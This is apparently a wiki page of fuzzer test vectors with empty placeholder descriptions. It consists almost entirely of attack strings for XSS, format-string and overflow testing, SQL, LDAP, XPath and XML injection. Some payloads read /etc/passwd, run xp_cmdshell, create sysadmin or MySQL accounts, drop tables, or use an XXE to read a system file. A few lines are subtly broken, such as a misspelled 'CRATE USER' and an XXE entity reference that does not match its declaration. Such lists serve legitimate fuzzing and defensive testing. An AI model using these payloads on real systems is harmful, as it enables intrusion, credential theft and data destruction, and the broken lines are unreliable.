&lt;br /&gt;
Brief description here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;gt;&amp;quot;&amp;gt;&amp;lt;script&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/script&amp;gt;&amp;amp;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;quot;&amp;gt;&amp;lt;STYLE&amp;gt;@import&amp;quot;javascript:alert('XSS')&amp;quot;;&amp;lt;/STYLE&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;gt;&amp;quot;'&amp;gt;&amp;lt;img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;%26%23x20;XSS%26%23x20;Test%26%23x20;Successful%26quot;)&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;gt;%22%27&amp;gt;&amp;lt;img%20src%3d%22javascript:alert(%27%20XSS%27)%22&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e'&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;gt;&amp;quot;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'';!--&amp;quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt; &amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=JaVaScRiPt:alert(&amp;amp;amp;quot;XSS&amp;lt;WBR&amp;gt;&amp;amp;amp;quot;)&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;amp;amp;#106;&amp;amp;amp;#97;&amp;amp;amp;#118;&amp;amp;amp;#97;&amp;amp;amp;&amp;lt;WBR&amp;gt;#115;&amp;amp;amp;#99;&amp;amp;amp;#114;&amp;amp;amp;#105;&amp;amp;amp;#112;&amp;amp;amp;&amp;lt;WBR&amp;gt;#116;&amp;amp;amp;#58;&amp;amp;amp;#97;&amp;amp;amp;#108;&amp;amp;amp;#101;&amp;amp;amp;&amp;lt;WBR&amp;gt;#114;&amp;amp;amp;#116;&amp;amp;amp;#40;&amp;amp;amp;#39;&amp;amp;amp;#88;&amp;amp;amp;#83&amp;lt;WBR&amp;gt;;&amp;amp;amp;#83;&amp;amp;amp;#39;&amp;amp;amp;#41&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;IMG&lt;br /&gt;
SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;&amp;lt;WBR&amp;gt;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;&amp;lt;WBR&amp;gt;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;&amp;lt;WBR&amp;gt;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;&amp;lt;WBR&amp;gt;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;&amp;lt;WBR&amp;gt;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;&amp;lt;WBR&amp;gt;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;&amp;lt;WBR&amp;gt;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;&amp;lt;WBR&amp;gt;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;&amp;lt;WBR&amp;gt;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;&amp;lt;WBR&amp;gt;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x09;ascript:alert(&amp;lt;WBR&amp;gt;'XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0A;ascript:alert(&amp;lt;WBR&amp;gt;'XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;jav&amp;amp;amp;#x0D;ascript:alert(&amp;lt;WBR&amp;gt;'XSS');&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflows and Format String Errors ===&lt;br /&gt;
&lt;br /&gt;
Brief overview of category here.&lt;br /&gt;
&lt;br /&gt;
==== Buffer Overflows (BFO) ====&lt;br /&gt;
&lt;br /&gt;
Brief description here. &lt;br /&gt;
&lt;br /&gt;
Note that attempting to load such a definition file within a fuzzer application can potentially cause the application to crash.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;A x 5&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;A x 17&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;A x 33&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;A x 65&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;A x 129&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;A x 257&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;A x 513&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;A x 1024&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;A x 2049&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;A x 4097&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;A x 8193&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;A x 12288&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Format String Errors (FSE) ====&lt;br /&gt;
&lt;br /&gt;
Brief description here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%s%p%x%d&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;.1024d&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%.2049d&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%p%p%p%p&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%x%x%x%x&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%d%d%d%d&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%s%s%s%s&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%99999999999s&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%08x&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%%20d&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%%20n&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%%20x&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%%20s&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%s%s%s%s%s%s%s%s%s%s&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%p%p%p%p%p%p%p%p%p%p&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%s x 129&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%x x 257&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Integer Overflows (INT) ====&lt;br /&gt;
&lt;br /&gt;
Brief description here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;-1&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;0&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;0x100&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;0x1000&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;0x3fffffff&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;0x7ffffffe&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;0x7fffffff&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;0x80000000&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;0xfffffffe&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;0xffffffff&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;0x10000&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;0x100000&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SQL Injection ===&lt;br /&gt;
&lt;br /&gt;
Brief overview of category here.&lt;br /&gt;
&lt;br /&gt;
==== Passive SQL Injection (SQP) ====&lt;br /&gt;
&lt;br /&gt;
Brief description here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' OR 1=1--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;OR 1=1&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' OR '1'='1&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;; OR '1'='1'&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%22+or+isnull%281%2F0%29+%2F*&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%27+OR+%277659%27%3D%277659&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%22+or+isnull%281%2F0%29+%2F*&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%27+--+&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' or 1=1--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;quot; or 1=1--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' or 1=1 /*&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;or 1=1--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' or 'a'='a&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;quot; or &amp;quot;a&amp;quot;=&amp;quot;a&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;') or ('a'='a&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;Admin' OR '&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' having 1=1--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' having 1=1--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' group by userid having 1=1--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' or 1 in (select @@version)--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' union all select @@version--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' OR 'unusual' = 'unusual'&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' OR 'something' = 'some'+'thing'&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' OR 'text' = N'text'&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' OR 'something' like 'some%'&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' OR 2 &amp;gt; 1&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' OR 'text' &amp;gt; 't'&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' OR 'whatever' in ('whatever')&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' OR 2 BETWEEN 1 and 3&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' or username like char(37);&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' union select * from users where login = char(114,111,111,116);&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' union select &amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;Password:*/=1--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;UNI/**/ON SEL/**/ECT&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'; EXEC ('SEL' + 'ECT US' + 'ER')&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'/**/OR/**/1/**/=/**/1&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' or 1/*&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;+or+isnull%281%2F0%29+%2F*&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%27+OR+%277659%27%3D%277659&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%22+or+isnull%281%2F0%29+%2F*&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%27+--+&amp;amp;password=&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login &amp;gt; @var select @var as var into temp end --&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' and 1 in (select var from temp)--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' union select 1,load_file('/etc/passwd'),1,1,1;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' and 1=( if((load_file(char(110,46,101,120,116))&amp;lt;&amp;gt;char(39,39)),1,0));&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Active SQL Injection (SQI) ====&lt;br /&gt;
&lt;br /&gt;
Brief description here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'; exec master..xp_cmdshell 'ping 10.10.1.2'--&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;CRATE USER name IDENTIFIED BY 'pass123'&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;CRATE USER name IDENTIFIED BY pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users; &amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;' ; drop table temp --&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;exec sp_addlogin 'name' , 'password'&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;exec sp_addsrvrolemember 'name' , 'sysadmin'&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;GRANT CONNECT TO name; GRANT RESOURCE TO name;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72),char(0x64)&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== LDAP Injection ===&lt;br /&gt;
&lt;br /&gt;
Brief description here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;|&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;!&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;(&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;)&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%28&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%29&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;amp;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%26&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%21&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%7C&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;*|&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%2A%7C&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;*(|(mail=*))&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%2A%28%7C%28mail%3D%2A%29%29&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;*(|(objectclass=*))&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;%2A%28%7C%28objectclass%3D%2A%29%29&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;*()|%26'&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;admin*&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;admin*)((|userPassword=*)&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;*)(uid=*))(|(uid=*&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== XPATH Injection ===&lt;br /&gt;
&lt;br /&gt;
Brief description here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'+or+'1'='1&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;'+or+''='&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;x'+or+1=1+or+'x'='y&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;/&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;//&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;//*&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;*/*&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;@*&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;count(/child::node())&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;x'+or+name()='username'+or+'x'='y&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== XML Injection ===&lt;br /&gt;
&lt;br /&gt;
Brief description here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('gotcha');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foof&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &amp;quot;file://c:/boot.ini&amp;quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xee;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
